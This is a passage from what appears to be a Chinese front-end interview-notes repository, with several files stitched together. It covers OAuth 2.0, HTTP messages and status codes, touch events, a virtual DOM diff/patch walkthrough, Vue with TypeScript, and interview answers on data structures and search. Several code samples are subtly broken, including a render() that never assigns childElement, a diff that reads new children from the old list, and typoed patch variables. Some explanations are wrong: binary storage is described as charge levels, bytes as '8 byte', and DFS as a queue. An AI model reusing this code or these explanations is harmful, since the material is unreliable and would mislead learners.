验证机制,专门做一个鉴权服务,用它向多个服务的请求进行统一鉴权 ## 4. OAuth 授权 OAuth(开放授权)是一个开放标准,允许用户授权第三方网站访问他们存储在另外的服务提供者上的信息,而不需要将用户名和密码提供给第三方网站或分享他们数据的所有内容,为了保护用户数据的安全和隐私,第三方网站访问用户数据前都需要显式的向用户征求授权。我们常见的提供OAuth认证服务的厂商有支付宝,QQ,微信。 OAuth协议又有1.0和2.0两个版本。相比较1.0版,2.0版整个授权验证流程更简单更安全,也是目前最主要的用户身份验证和授权方式。 OAuth 2.0 流程可分为 6 步 1. 向用户请求授权,现在很多的网站在登陆的时候都有第三方登陆的入口,当我们点击等第三方入口时,第三方授权服务会引导我们进入第三方登陆授权页面。当我们点击授权时,OAuth 2.0 常用的几个参数 ```js { "response_type": "返回类型", "client_id": "第三方应用id,由授权服务器在第三方应用提交时颁发给第三方应用", "redirect_uri": "登陆成功重定向页面", "oauth_provide": "第三方授权提供方", "state": "由第三方应用给出的随机码" } ``` 2. 当用户点击授权并登陆后,授权服务器将生成一个用户凭证(code)。这个用户凭证会附加在重定向的地址redirect_uri的后面 3. 请求授权服务器授权。得到 用户凭证(code)后,此时应由后端处理,通过该 code 申请 Access Token。申请 Access Token 需要以下几个信息: ```js { "client_id": "标识第三方应用的id,由授权服务器在第三方应用提交时颁发给第三方应用", "client_secret": "第三方应用和授权服务器之间的安全凭证,由授权服务器在第三方应用提交时颁发给第三方应用", "code": "第2步中的用户凭证", "state": "由第三方应用给出的随机码" } ``` 4. 授权服务器同意授权后,返回一个资源访问的凭证(Access Token)。 5. 第三方应用通过第四步的凭证(Access Token)向资源服务器请求相关资源。 6. 资源服务器验证凭证(Access Token)通过后,将第三方应用请求的资源返回。 从用户角度来说,第三方授权可以让我们快速的登陆应用,无需进行繁琐的注册,同时不用记住各种账号密码。只需要记住自己常用的几个账号就ok了;从产品经理的角度来所,这种授权方式提高用户的体验满意度,另一方面可以获取更多的用户。 ## 总结 授权方式多种多样,主要还是要取决于我们对于产品的定位。如果我们的产品只是在企业内部使用,token 和 session 就可以满足我们的需求,如果是面向互联网的大众用户,那么第三方授权在用户体验度上会有一个很大的提升。<file_sep>/HTTP协议类/knowledge.md # HTTP 协议类 HTTP 协议的主要特点 HTTP 协议的组成部分 HTTP 协议的方法 HTTP 协议的 POST 和 GET 的区别 HTTP 协议的状态码 什么是持久连接 什么是管线化 ## 主要特点 1. 简单快速:每个资源都是固定的,URL 统一资源定位符 2. 灵活:HTTP 头部规定数据类型 3. 无连接:连接一次信息传输完毕后就会断掉 4. 无状态:服务端无法通过 HTTP 协议来区分两次连接的身份的 ## 报文组成部分 请求报文: 1. 请求行:HTTP 方法+请求的 URL+HTTP 协议版本 2. 请求头:key-value 3. 空行: '\n' 4. 请求体 一个栗子: ```http 1 POST / HTTP/1.1 2 Host: www.baidu.com 2 User-Agent: curl/7.54.0 2 Accept: */* 2 Content-Type: application/x-www-form-urlencoded 2 Content-Length: 9 2 custom-header: custom-header-value 3 4 123456789 ``` 响应报文: 1. 状态行:HTTP 协议/版本号+状态码+解释字符串 2. 响应头: key=value 3. 空行:'\n' 4. 响应实体:通常是客户端所需要的数据 一个栗子: ```http 1 HTTP/1.1 200 OK 2 Accept-Ranges: bytes 2 Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform 2 Connection: Keep-Alive 2 Content-Length: 2443 2 Content-Type: text/html 2 Date: Tue, 10 Oct 2017 09:14:05 GMT 2 Etag: "5886041d-98b" 2 Last-Modified: Mon, 23 Jan 2017 13:24:45 GMT 2 Pragma: no-cache 2 Server: bfe/1.0.8.18 2 Set-Cookie: BDORZ=27315;max-age=86400;domain=baidu.com;path=/ 3 4 <!DOCTYPE html> <!-- STATUS OK --><html> <head>后面太长,省略了...... ``` ## HTTP 方法 GET 获取资源 POST 传输资源 PUT 更新资源 DElETE 删除资源(不常用) HEAD 获取报文首部 ## GET VS POST 1. **GET 请求在浏览器回退时是无害的,而 POST 会再次提交请求** 2. GET 产生的 url 地址可以被浏览器缓存,而 POST 的不可以 3. **GET 请求会被浏览器主动缓存,而 POST 不会,但是可以手动设置** 4. GET 请求只能进行 url 编码,而 POST 支持多种编码方式 5. **GET 请求的参数会被完整地保存在浏览器历史记录里,而 POST 中的参数则不会保留** 6. **GET 请求在 url 中传送的参数有长度限制,而 POST 没有限制** 7. 对参数的数据类型,GET 只接受 ASCII 字符串,而 POST 没有限制 8. GET 比 POST 更不安全,因为参数直接暴露在 url 上,所以不应该用来传递敏感信息 9. **GET 参数通过 url 传递,POST 则是放在 request Body 当中** ## HTTP 状态码 1xx -- 指示信息,表示请求已经接收,继续处理 2xx -- 成功,表示请求已经被成功接收 - 200 OK 客户端请求成 - 206 Partial Content 客户端发送了一个带有 Range 请求头的请求,服务器完成了它(一般是音频或者视频资源) 3xx -- 重定向,要完成请求必须进行进一步的操作 - 301 Moved Permanently 永久重定向 - 302 Found 临时重定向 - 304 Not Modified 缓存 4xx -- 客户端错误,请求有语法错误或者请求无法实现 - 400 Bad Request 客户端请求语法错误,不能被服务器理解 - 401 Unauthorized 请求未授权,这个状态码必须和`WWW-Authorized`响应头一起使用 - 403 Forbidden 没有权限读取请求的资源 - 404 Not Found 请求资源不存在 5xx -- 服务器错误,服务器未能实现合法请求的响应 - 500 Internal Server Error 服务器发生不可预期的错误 原来缓存过的文档还可以继续使用 - 503 Server Unavailable 服务器临时过载或者宕机,一段时间后恢复 ## 持久连接 `Connection: Keep-Alive` 服务器开启持久连接 HTTP 协议采用‘请求-应答’模式,当使用普通模式时,即没有使用`Keep-Alive`,每个请求/应答都需要建立一个新连接,完成后就断开连接(这也就是 HTTP 协议为什么是无连接) 当使用持久连接(Keep-Alive)模式时,Keep-Alive 功能使得客户端到服务端的连接持续有效,当客户端出现新的请求后,Keep-Alive 功能避免了重新建立连接(HTTP 1.1 才支持) ## 管线化 在使用持久连接的情况下,非管线化模式的消息传递模式类似 请求 1--》响应 1--》请求 2--》响应 2--》请求 3--》响应 3(串行消息应答) 服务器开启管线化模式时 请求 1+请求 2+请求 3==》响应 1+响应 2+响应 3(并行消息应答) 特点: 1. 管线化机制通过持久连接完成,仅 HTTP/1.1 支持 2. 只有 GET 和 HEAD 请求可以进行管线化,POST 请求有所限制 3. 初次连接时客户端不应该启动管线化机制,因为服务器不一定支持 HTTP/1.1 4. 管线化不会影响客户端接收响应的顺序 5. HTTP/1.1 要求服务器支持管线化,但是没有要求服务器一定要对响应做管线化处理,只要求对于客户端的管线化请求能够正确响应即可 6. 由于以上所提到服务端问题,开启管线化并不一定会带来大幅度的性能提升,而且很多服务器的代理程序对管线化的支持并不好,所以 chrome 和 firefox 默认未开启管线化支持 <file_sep>/移动端事件相关问题/HTML5触摸事件.md # HTML5 触摸事件 触摸事件是移动浏览器特有的HTML5事件。 ## 为什么要用触摸事件 因为移动端的`click`事件有 300ms 的延迟,这 300ms 的延迟用来判断用户的双击或长按操作,只有默认等待时间 300ms 结束并且确定没有后续动作发生时,才会触发 click 事件。而触摸事件的延迟是非常短的,使用触摸事件可以提高页面响应速度,带来更好地用户体验。 ## 标准的触摸事件 Webkit 的触摸事件 `touchstart`:触摸开始(用户把手指放在屏幕上),包含 touches 数组对象 `touchmove`:触摸点改变(用户在屏幕上移动他的手指并且没有离开屏幕),包含 touches 数组对象 `touchend`:触摸结束(用户的手指离开屏幕),包含 touches 数组对象 `touchcancel`:触摸被取消(触摸被一些事情中断,比如通知),不包含 touches 数组对象 `touches`数组对象,记录了一些重要数据: 1. `identifier`:本次触摸的唯一标识,只要用户的手指保持在这个屏幕上,这个值就不会变化 2. `screenX screenY`:触摸点相对于屏幕左侧和顶部的距离 3. `clientX clientY`:触摸点相对于浏览器窗口左侧和顶部的距离 4. `pageX pageY`:触摸点相对于页面的左侧和顶部的距离 ## IE 10 的触摸事件 IE 指针事件,有三种触发形式(鼠标单击,电子笔轻触,手指触摸) 1. `MSPointerDown`:触摸开始 2. `MSPointerMove`:触摸点移动 3. `MSPointerUp`:触摸结束 4. `MSPointerOver`:触摸点移动到元素内(类似 `mouseover`) 5. `MSPointerOut`:触摸点离开元素(类似 `mouseout`) IE10 指针事件对象是`MSPointerEvent`,它有如下重要属性 1. `hwTimestamp`:指针事件开始的时间 2. `isPrimary`:是否是主指针 3. `pointerId`:指针的唯一 id 标识 4. `pointerType`:一个整数,表示了该指针事件是 IE指针事件三种类型中的哪一种 5. `pressure`:笔的压力,0 - 255 只有手写笔输入时才可用 6. `rotation`:光标的旋转度,0 - 359 7. `tiltX tiltY`:手写笔的倾斜度,只有用手写笔输入时才支持 ## 封装好的 tap 事件源码 ```js // tap 即移动端的 click (function() { var TOUCHSTART, TOUCHEND // normal touch event if (typeof window.ontouchstart !== undefined) { TOUCHSTART = 'touchstart' TOUCHEND = 'touchend' } // microsoft touch event else if (typeof window.onmspointerdown !== undefined) { TOUCHSTART = 'MSPointerDown' TOUCHEND = 'MSPointerUp' } else { TOUCHSTART = 'mousedown' TOUCHEND = 'mouseup' } function NodeFacaded(node) { this._node = node } NodeFacaded.prototype.on = function(evt, callback, scope) { var scopeObj if (!scope) { scopeObj = this._node } else { scopeObj = scope } if (evt === 'tap') { this._node.addEventListener(TOUCHSTART, function() { callback.apply(scope, arguments) }) } else if (evt === 'tapped') { this._node.addEventListener(TOUCHEND, function() { callback.apply(scope, arguments) }) } else { this._node.addEventListener(evt, function() { callback.apply(scope, arguments) }) } return this } window.$ = function(selector) { var node = document.querySelector(selector) if (node) { return new NodeFacaded(node) } else { return null } } })() ``` <file_sep>/虚拟DOM/掘金详解虚拟DOM.md # 虚拟 DOM ## 前端应用状况管理的思考 假如我们现在需要写一个像下面一样的表格应用程序,这个表格可以根据不同的字段进行升序或者降序展示 这个应用程序看起来似乎挺简单,我们可以想出好几种不同的方式来写。最容易想到的是,我们在 JS 代码里存储这样的数据: ```js var sortKey = 'new' // 排序的字段,新增 new 取消 cancel 净关注 gain 累积人数 cumulate var sortType = 1 // 升序还是排序 var data = [{...}, {...}, {...}] // 表格数据 ``` 用三个字段分别存储当前排序的字段、排序方向、还有表格数据;然后给表格头部加点击事件;当用户点击特定的字段时,根据上面几个字段存储的内容来对内容进行排序,然后用 JS 或者 jQuery 来操作 DOM,更新页面的排序状态(表头的那几个箭头表示当前排序状态,也需要更新)和表格内容 这样做导致的后果就是,当应用程序越来越复杂时,需要在 JS 里维护的字段也越来越多,需要监听的事件和在事件回调里更新页面 DOm 的操作也越来越多,应用程序会变得难以维护。后来人们使用了 MVC 、MVP 架构模式,希望能从代码组织方式来降低复杂应用程序的维护难度。但是 MVC 架构只能降低代码的复杂度,没办法减少应用程序所需要维护的状态,也没有减少因状态更新而需要执行的页面更新操作(前端来讲就是 DOM 操作)。我们需要执行的 DOM 操作还是需要操作,只是换了个地方(MVC 架构模式就是换到了 Control) 既然应用程序状态改变了就要操作相应的 DOM 元素,那为什么不做一个东西可以让视图(DOM 元素)和状态直接绑定--视图随着状态更新而自动更新,不需要开发者来手动执行 DOM 操作。这就是后来人们设计出来的 MVVM 模式--只需要在模板中声明视图中的组件是和什么状态进行绑定的,双向绑定的引擎就会在状态更新的时候自动更新视图。 MVVM 可以很好地降低我们需要维护的应用程序的状态数,从而减少视图更新的 DOM 操作(大大地减少了代码中视图更新逻辑)。但这并不是唯一的方法,还有一个更直观的方法就是::一旦状态发生了变化,就用模板引擎重新渲染整个视图,然后用新的视图更换掉旧的视图。以上面的表格为例,当用户点击的时候,直接在 JS 里更新状态,但是页面更新就不依赖手动执行 DOM 操作了,而是直接把新状态的表格用模板引擎重新渲染一遍,然后设置一下 innerHTML 就完事。 听到这样的做法,经验丰富的开发者很快就能指出各种问题。最大的问题就是,这样的做法速度会特别慢,因为即使一个小小的状态改变也需要重新构造整棵 DOM 树,性价比太低;其次,如果这样做,那么视图里假如有 input textarea 这样的 DOM 节点,那么视图更新后他们会失去原有的焦点。最后的结论会是:对于局部的小视图更新,没问题(BackBone 就是这样做的),但是对于大型视图,如全局应用状态变更的时候,需要更新页面较多局部视图的时候,这样简单粗暴的方法是不可取 但是这里要明白和记住这个简单粗暴的做法,因为后面我们会发现,其实 Virtual DOM 也是这样做的,只是加了一些特别的步骤来避免整棵 DOM 树的更新 另外一点需要注意的是,上面讨论的方法或者设计模式,都是在解决同一个问题:维护状态,更新视图。在一般的应用当中,如果能够提供很好的方案来解决这个问题,那么几乎降低了应用程序的大部分复杂性 ## Virtual DOM 算法 DOM 操作是很慢的,如果我们把一个 DOM 元素在浏览器控制台打印出来,我们会看到一大堆属性。真正的 DOM 元素非常庞大,这是因为标准就是这么设计的。所以我们操作 DOM 元素的时候需要小心翼翼,轻微的触碰就可能导致页面重排,这是杀死浏览器性能的罪魁祸首 相对于 DOM 对象,原生的 JS 对象处理起来则轻快得多。而且更简单。DOM 树上的结构、属性等相关信息,我们都可以用 JS 对象模拟出来 ```js var element = { tagName: 'ul', // 节点标签名 props: { // DOM 属性 id: 'list' }, children: [ // 子代 { tagName: 'li', props: { class: 'item-1' }, children: ['Item-1'] }, { tagName: 'li', props: { class: 'item-2' }, children: ['Item-2'] }, { tagName: 'li', props: { class: 'item-3' }, children: ['Item-3'] } ] } ``` 对应的 HTML 标签应该是 ```html <ul id="list"> <li class="item1">Item-1</li> <li class="item2">Item-2</li> <li class="item3">Item-3</li> </ul> ``` 既然原来的 DOM 树的信息可以用一个 JS 对象来表示,反过来,我们也可以用这个 JS 对象来构造一棵真正的 DOM 树 如之前提到过的,状态变更--重新渲染整个视图 这个简单粗暴的方式现在可以稍微修改下:用 JS 对象来表示 DOM 树的信息结构,当状态变更时,也更改这个 JS 对象的结构。这样做并不能做到视图更新,因为我们根本没有进行视图更新操作。但是我们可以用状态更改后的 JS 对象结构去对比更改前的 JS 对象结构,记录下这两棵“模拟 DOM 树”的差异。记录下来的不同就是我们真正需要执行的 DOM 操作,然后把这些需要执行的 DOM 操作应用到真正的 DOM 树上,页面就变更了。这样就实现了:页面的视图结构确实是整个全新渲染了,但是最后操作 DOM 的时候确实只变更了前后不同的地方 这就是 Virtual DOM 的算法,包括以下几个步骤 1. 用 JS 对象模拟 DOM 树结构,然后用这个 JS 对象构建一颗真正的 DOM 树,然后插入到文档当中 2. 当文档的状态变更的时候,重新构建一个新的对象树(依旧是 JS 对象模拟的),然后用新树和旧树做对比,记录两棵树的差异 3. 把 2 所记录下来的差异应用到步骤 1 所构建的真正的 DOM 树上,视图就更新了 Virtual DOM 本质上就是在 JS 和 DOM 之间做了一个缓存,可以类比 CPU 和硬盘。硬盘读写特别慢(DOM 元素),CPU 又经常需要使用硬盘的数据(JS 操作 DOM 更新视图),那么就给它们之间加个高速缓冲存储器(JS 对象模拟 DOM 树,Virtual DOM)。CPU(JS)只操作高速缓冲存储器(Virtual DOM),进行复杂操作,最后再把变更写入硬盘(Virtual DOM 转换成 真正的 DOM) ## Virtual DOM 算法的实现 ### JS 对象模拟 DOM 树 用 JS 来表示一个 DOM 节点是很简单的事情,我们只需要记录它的节点类型、属性,还有子节点 ```js // element.js function Element(tagName, props, children) { this.tagName = tagName this.props = props this.children = children } module.exports = function(tagName, props, children) { return new Element(tagName, props, children) } ``` 我们之间举例的 DOM 结构就可以这样表示 ```js var el = require('./element') var ul = el('ul', { id: 'list' }, [ el('li', { class: 'item-1' }, ['Item-1']), el('li', { class: 'item-2' }, ['Item-2']), el('li', { class: 'item-3' }, ['Item-3']) ]) ``` 现在的 ul 只是一个 JS 对象表示 DOM 树,页面上并没有这个结构,我们要根据 ul 的对象结构来构建真正的 DOM 树 ```js // element.js Element.prototype.render = function() { // 创建 DOM 元素 var el = document.createElement(this.tagName) var props = this.props // 设置 DOM 节点属性 for (var propName in props) { var propValue = props[propName] el.setAttribute(propName, propValue) } var children = this.children || [] children.forEach(child => { var childElement if (child instanceof Element) { // 如果子节点也是虚拟DOM,那么递归构建DOM树 child.render() } else { // 如果只是字符串,那么就构建文本节点 document.createTextNode(child) } el.appendChild(childElement) }) // 返回完整的 DOM 树 return el } ``` `render`方法会根据 tagName 构建一个真正的 DOM 节点,然后设置这个节点的属性,最后递归地把自己的子节点也构建起来,所以只需要 ```js var ulRoot = ul.render() document.body.appendChild(ulRoot) ``` 上面的 ulRoot 是真正的 DOM 节点,把它插入到文档中,那么 body 里就有了根据 ul 对象结构构建的真正 DOM 树 ```html <ul id="list"> <li class="item1">Item-1</li> <li class="item2">Item-2</li> <li class="item3">Item-3</li> </ul> ``` ### diff 算法 比较两棵虚拟 DOM 树的差异。不用多想,比较差异就是 Virtual DOM 算法最核心的部分,这也是所谓的 Virtual DOM 的 diff 算法。两个树的完全的 diff 算法是一个事件复杂度为 O(n^3)的问题。但是在前端,我们很少会跨越层级地移动 DOM 元素。所以,前端中 Virtual DOM 的 diff 只会对同一个层级的元素进行对比:也就是 DOM 树中同级的 DOM 元素才会比对差异。这样算法复杂度就会降到 O(n) 在实际代码中,会对新旧两个 Virtual DOM 进行一个深度优先遍历,这样每个节点上都会有一个唯一的标识符。在深度优先遍历的时候,每遍历到一个节点就把该节点和新的节点做对比,如果有差异,就将差异记录到一个对象里面 ```js // diff 函数,对比两棵节点树 function diff(oldTree, newTree) { var index = 0 // 当前节点的标识符 var patches = {} // 用来记录每个节点差异的对象 dfsWalk(oldTree, newTree, index, patches) return patches } // 对两棵树进行深度遍历 function dfsWalk(oldNode, newNode, index, patches) { // 对比 oldNode 和 newNode 的不同 // 记录下来差异 patches[index] = [...] diffChildren(oldNode.children, newNode.children, index, patches) } // 遍历子节点 function diffChildren(oldChildren, newChildren, index, patches) { // 设置左节点为空 var leftNode = null // 设置当前节点的标识为数组下标 var currentNodeIndex = index // 遍历旧节点树的子节点 oldChildren.forEach((child, index) => { var newChild = oldChildren[index] // 计算节点标识 currentNodeIndex = (leftNode && leftNode.count) ? currentNodeIndex + leftNode.count + 1 : currentNodeIndex + 1 // 深度遍历子节点 dfsWalk(child, newChild, currentNodeIndex, patches) leftNode = child }) } ``` 假如,上面的 div 和 新的 div 有差异,当前的标记是 0,那么 ```js patches[0] = [{difference}, {difference}, {difference},...] ``` 同理 p 是 patches[1],ul 是 patches[3],这样类推 ### 差异类型 那么什么是节点差异呢(也就是{difference}),DOM 操作可能会有以下影响 1. 替换掉原来的节点,例如把上面的 div 换成了 section 2. 移动、删除、新增子节点,例如上面 div 的子节点,把 p 和 ul 的顺序互换 3. 修改了节点的属性 4. 对于文本节点,文本内容可能会改变,例如修改上面的文本节点 2 内容改为 Virtual DOM2 所以我们定义了几种差异类型 ```js // 替换差异 var REPLACE = 1 // 移动、删除、新增子节点 var REORDER = 2 // 属性差异 var PROPS = 3 // 文本差异 var TEXT = 4 ``` 对于替换差异,很简单,判断 tagName 是否变化就可以,如 div 替换成 section ,difference 就写成这样子 ```js patches[0] = [ { type: REPLACE, // el('section', props, children) node: newNode } ] ``` 如果是新增了属性,那就添加属性差异记录 ```js patches[0] = [ { type: REPLACE, // el('section', props, children) node: newNode }, { type: PROPS, props: { id: 'container' } } ] ``` 如果是文本差异,那么就添加文本差异属性 ```js patches[2] = [ { type: TEXT, content: 'Virtual DOM' } ] ``` 那如果把 div 的子节点重新排序呢,例如 p ul div 顺序被调整成 div p ul 。这个该怎么对比呢,如果按照同层级顺序进行对比的话,它们都会被替换掉,如 p 和 div 的 tagName 是不同的,p 会被 div 替换掉。最终三个节点都会被替换掉,这样的操作 DOM 开销非常大。实际上其实不需要替换节点,只是移动节点就好,我们只需要知道怎么进行移动。那么这就涉及到了两个列表的对比算法。 ### 列表算法 我们可以用英文字母唯一地标识每一个子节点,假设旧的节点的顺序是`a b c d e f g h i` 现在对节点进行了删除、插入、移动的操作。新增 j 节点,删除 e 节点,移动 h 节点,新的节点顺序是`a b c h d f g i j` 现在知道了新旧节点的顺序,求最小的插入和删除操作(移动可以看作是删除和插入操作的结合)。这个问题抽象出来其实就是字符串最小编辑的距离问题[Edition Distance](https://link.zhihu.com/?target=https%3A//en.wikipedia.org/wiki/Edit_distance),最常见的算法就是[Levenshtein Distance](https://link.zhihu.com/?target=https%3A//en.wikipedia.org/wiki/Levenshtein_distance),通过动态规划求解,时间复杂度为 O(M\*N)。但是实际上并不需要真的达到最小操作,只需要优化一些比较常见的移动情况,牺牲一定的 DOM 操作,让算法复杂度达到线性的 O(max(M, N))。具体算法细节比较多,可以查找网上资料([代码](https://link.zhihu.com/?target=https%3A//github.com/livoras/list-diff/blob/master/lib/diff.js) ) 于是我们能够将某个父节点的子节点的操作记录下来 ```js patches[0] = [{ type: REORDER, moves: [{removes or inserts}, {removes or inserts}, ...] }] ``` 但是要注意的是,因为 tagName 是可重复的,所以不能用 tagName 来作为对比标识符,需要在每个子节点上加上唯一标识符 key,列表对比的时候,使用唯一标识符 key 进行对比,这样才可以复用旧的 DOM 树上的节点 这样,我们先通过深度优先遍历,对新的和旧的两棵 Virtual DOM 做每层结点的对比,并将对比的差异记录下来。 ### 将对比的差异应用到真正的 DOM 树上 因为步骤 1 中所构建的 JS 对象和 render 出来的真实的 DOM 树层级结构、属性信息是一样的,所以我们也可以对那棵真实的 DOM 树进行深度优先遍历,遍历的时候从步骤二生成的 patches 对象中找出当前遍历节点的差异,然后进行 DOM 操作 ```js function patch(node, patches) { var walker = { index: 0 } dfsWalkAndRender(node, walker, patches) } function dfsWalkAndRender(node, walker, patches) { // 从patches中拿出当前节点的差异 var currentPatches = patches[walker.index] var len = node.childNodes ? node.childNodes.length : 0 for (var i = 0; i < len; i++) { // 深度遍历子节点 var child = node.childNode[i] walker.index++ dfsWalkAndRender(child, walker, patches) } if (currentPatches) { // 如果存在差异,那么久执行 DOM 操作 applyPatches(node, currentPatches) } } function applyPatches(node, currentPatches) { currentPatches.forEach(patch => { switch (patch.type) { case REPLACE: node.parentNode.replaceChild(patch.node.render(), node) break case REORDER: reorderChild(node, path.moves) break case PROPS: setProps(node, patch.props) break case TEXT: node.textContent = patch.content default: throw new Error('Unknown path type' + path.type) } }) } ``` 完整的代码可以参考[path.js](https://link.zhihu.com/?target=https%3A//github.com/livoras/simple-virtual-dom/blob/master/lib/patch.js) ## 总结 Virtual DOM 算法主要是实现上面步骤的三个函数 `element` `diff` `patch`。然后就可以实际进行使用 ```js // 1. js 对象构建虚拟 DOM var tree = el('div', { id: 'container' }, [ el('h1', { style: 'color: blue' }, ['simple virtual dom']), el('p', ['Hello, virtual dom']), el('ul', [el('li')]) ]) // 2. 通过虚拟 DOM 构建真正的 DOM 树 var root = tree.render() document.body.appendChild(root) // 3. 生成新的虚拟 DOM var newTree = el('div', {'id': 'container'}, [ el('h1', {style: 'color: red'}, ['simple virtal dom']), el('p', ['Hello, virtual-dom']), el('ul', [el('li'), el('li')]) ]) // 4. 比较两棵虚拟 DOM 树的不同,并且记录下来 var patches = diff(tree, newTree) // 5. 在真正的 DOM 树上应用更新 applyPatches(root, patches) ``` 当然,以上是非常粗糙的实现,实际中还需要处理事件监听等;生成虚拟 DOM 时也可以加入 JSX 语法。这些事情都做了的话,就可以构造一个简单的 ReactJS 了<file_sep>/Vue+TypeScript/vue+typescript实践.md # Vue + Typescript 实践 ## TypeScript 简介 TypeScript 是 JavaScript 的强类型版本,也是 JavaScript 的超集。也就是说,TypeScript 支持 JavaScript 的所有语法,.ts 文件在编译器会去掉类型和特有语法,转换为纯粹的 JavaScript 代码,所以 TypeScript 并不依赖浏览器的支持。TypeScrip 对 JavaScript 添加了不少拓展,如 class interface module,这些接口会大大提高代码的可读性 TypeScript 是一门强类型语言,其优势在于静态检查,概括来说包括以下几点 1. 静态类型检查 2. IDE 智能提示 3. 代码重构 4. 可读性 ## Vue 引入 TypeScript Vue 使用 TypeScript 需要用到的一些库 1. vue-class-component: 强化 Vue 组件,使用 TypeScript/装饰器 增强 Vue 组件 2. vue-property-decorator: 在 vue-class-component 上增强更多的结合 Vue 特性的装饰器 3. ts-loader: TypeScript 为 Webpack 提供了 ts-loader,其实就是为了让 webpack 识别 .ts .tsx 文件 4. tslint-loader 以及 tslint: 开发者会在.ts .tsx 文件 约束代码格式(作用等同于 eslint) 5. tslint-config-standard: tslint 配置 standard 风格的约束 <file_sep>/README.md # -面试技巧 ## 基本要素 - 准备要充分 - 知识要系统 - 沟通要简洁 - 内心要诚实 - 态度要谦虚 - 回答要灵活 ## 知识系统化(一面/二面) 基础模块:页面布局--》CSS 盒模型--》DOM 事件--》HTTP 协议--》面向对象--》原型链 高阶模块:通信(跨域通信、前后端数据通信)--安全(XSS 攻击、CSRF 攻击)--算法(前端通常考查排序) <file_sep>/MVVM的伪代码/watcher.js function Watcher(vm, exp, cb) { /** * vm -- 自定义框架实例 * exp -- 要观察的数据对象属性 vm.data.key * cb -- vm.data.key 值变化后要执行的回调 */ this.vm = vm this.exp = exp this.cb = cb // 将自己(这里就是观察者Watcher实例)添加到订阅中心(Dep) this.value = this.get() } Watcher.prototype.get = function() { // 缓存自己 // Dep.target 就是观察者(Watcher)实例 Dep.target = this // 这里手动执行 vm.data[key] // 会触发 Observer 在 defineReactive 中 // 利用 Object.defineProperty 设置的 getter 函数 // 从而将 观察者实例添加到 订阅中心 var value = this.vm.data[this.exp] // 释放自己--因为一个属性只需要一个观察者实例维护,不需要绑定多个 Dep.target = null return value } // 也就是 sub.update() 的调用 Watcher.prototype.update = function() { this.run() } Watcher.prototype.run = function() { var value = this.vm.data[this.exp] var oldVal = this.value if (value !== oldVal) { this.value = value // 执行回调时 cb 的 this 应该用 call 绑定到 vm 实例上 this.cb.call(this.vm, value, oldVal) } }<file_sep>/面试题/厦门11k面试题.md # 厦门 11k 面试题 ## 1 计算机存储、组织数据的基本数据结构 操作系统运行在计算机硬件上,浏览器(软件)运行在操作系统上,HTML|CSS|JS 则由浏览器按照特定的规则来解析:HTML 负责描述网页结构,CSS 负责绘制网页样式,JS 则专注用户和页面交互 计算机内部使用二进制存储和读取数据,以充电和放电两个状态来表示 - 存储二进制 1 -- 表示充电状态,读取时,电量>=50%就是 1 - 存储二进制 0 -- 表示放电状态,读取时,电量<50%就是 0 - 计算机充完电后会立刻放电 - cpu 频率--表示每一秒计算机可以执行多少次充电操作 - 所以计算机内部用充电/放电来表示二进制的 0/1 数字存储: 10 进制或 8 进制的数字,转换为 2 进制,以便计算机的读取和存储 字符存储:先利用 ASCII(美国信息交换标准码)将每个字符编号,再将每个字符的编号数字转换为 2 进制,比如`a`在 ASCII 表里对应的编号数是 97(10 进制),那么将 97 转换为对应的 2 进制数字`0110 0001`,这样计算机就能方便地读取和存储了 类似字符存储有 ASCII 表,中文字符存储也有字符集。先是 GB2312 ,这个字符集收集了 6763 个汉字,同时还收录了包括拉丁字母、希腊字母、日文平假名、片假名字母以及俄语西里尔字母在内的 682 个字符。后来为了存储生僻字、繁体字、日语、朝鲜语等,微软推出了 GBK 字符集。 而 Unicode 字符集,则是将全球字符进行编号,包括中日韩文字、藏文、盲文、契形文字、颜文字、绘文字。由于 Unicode 编码采用 4 个字节(1 个字节是 8 个 byte,即 8 个 2 进制的数)来表示一个字符或者汉字,所以在存储空间上消耗较为严重。为了弥补这个缺陷,Unicode 的一种高性价比表示字符的编码方式 UTF-8 出现了 数据结构是计算机存储、组织数据的方式。对于特定的数据结构(比如数组),有些操作效率非常高(读取数组某个元素),有些操作效率则非常低(删除某个数组元素)。程序员的目标就是为当前的问题选择最优数据结构 8 种常用的数据结构: 1. 数组 2. 栈 3. 队列 4. 列表 5. 图 6. 数 7. 前缀数 8. 哈希表 ## 2. 请描述深度优先搜索和广度优先搜索的原理 深度优先搜索(Depth-First-Search,DFS),是一种用于遍历或者搜索树或者图的算法。 沿着树的深度遍历树的节点,尽可能深的搜索树的分支。当节点 v 所在的边都已被探寻过,搜索将回溯到发现节点 v 的那条边的起始节点。这一过程一直进行到 从源节点可达到的所有节点都被搜索过了。如果还存在未发现的节点,则选择其中一个作为新的源节点并重复以上过程,整个进程反复进行直到所有的节点都被访问为止。整个过程属于盲目搜索 具体实现方法描述如下: 1. 首先将根节点放入到队列中 2. 从队列中取出第一个节点,并检验它是否为目标 - 如果该节点是目标,则结束搜索并返回结果 - 如果该节点不是目标,则将这个节点的某一个尚未检验过的直接子节点加入队列中 3. 重复步骤 2 4. 如果不存在未检测过的直接子节点,那么将上一级节点加入到队列中,重复步骤 2 5. 重复步骤 4 6. 若队列为空,则表示整张图都检查过了--即图中没有所有目标,结束搜索并返回“找不到目标” 通俗一点就是,深度优先搜索就是“一条黑路走到底,撞了南墙回起点,回到起点找新路,新路又是走到底,寻寻觅觅千百次,总会找到意中人” 伪代码就是 ```js void dfs() { // 判断是否为终点 if () { return; // } // 尝试每一个可走的方向(右上左下) for (var i=0;i<n;i++) { // 判断是否可走 可走的话调用递归尝试下一步 // 不可走的话尝试该点其他方向 if () { // 继续下一步 递归操作 dfs(); } } } ``` 广度优先搜索(Breadth-First-Search),又称为 宽度优先搜索,或者横向优先搜索,是一种图形搜索算法。简单的说,BFS 是从根节点开始,沿着树的宽度遍历树的节点。如果所有节点均被访问,则算法中止,广度优先搜索的实现一般采用 open-closed 从算法的观点来看,所有因为展开节点而得到的子节点都会被加进一个先进先出的队列中。一般的实现里,其邻居节点里,那些尚未被检验过的节点会被放置在一个被称为 open 的容器当中(例如是队列或是链表),而被检验过的节点则是被放置在称为 closed 的容器中 实现方法描述 1. 首先将根节点放入队列当中 2. 从队列当中取出第一个子节点,并且检验它是否为目标 - 如果找到目标,则结束搜索并返回结果 - 如果不是目标,那么将这个节点尚未经过经验的所有直接子节点加入到队列当中 3. 若是队列为空,表示整张图都是被检验过了--即图中没有搜索目标,这个时候结束搜索,并返回结果 4. 若是队列不为空,重复步骤 2 ## 3. 请写出 ES6 的基础数据类型 ES6 共有 种数据类型,其中 - 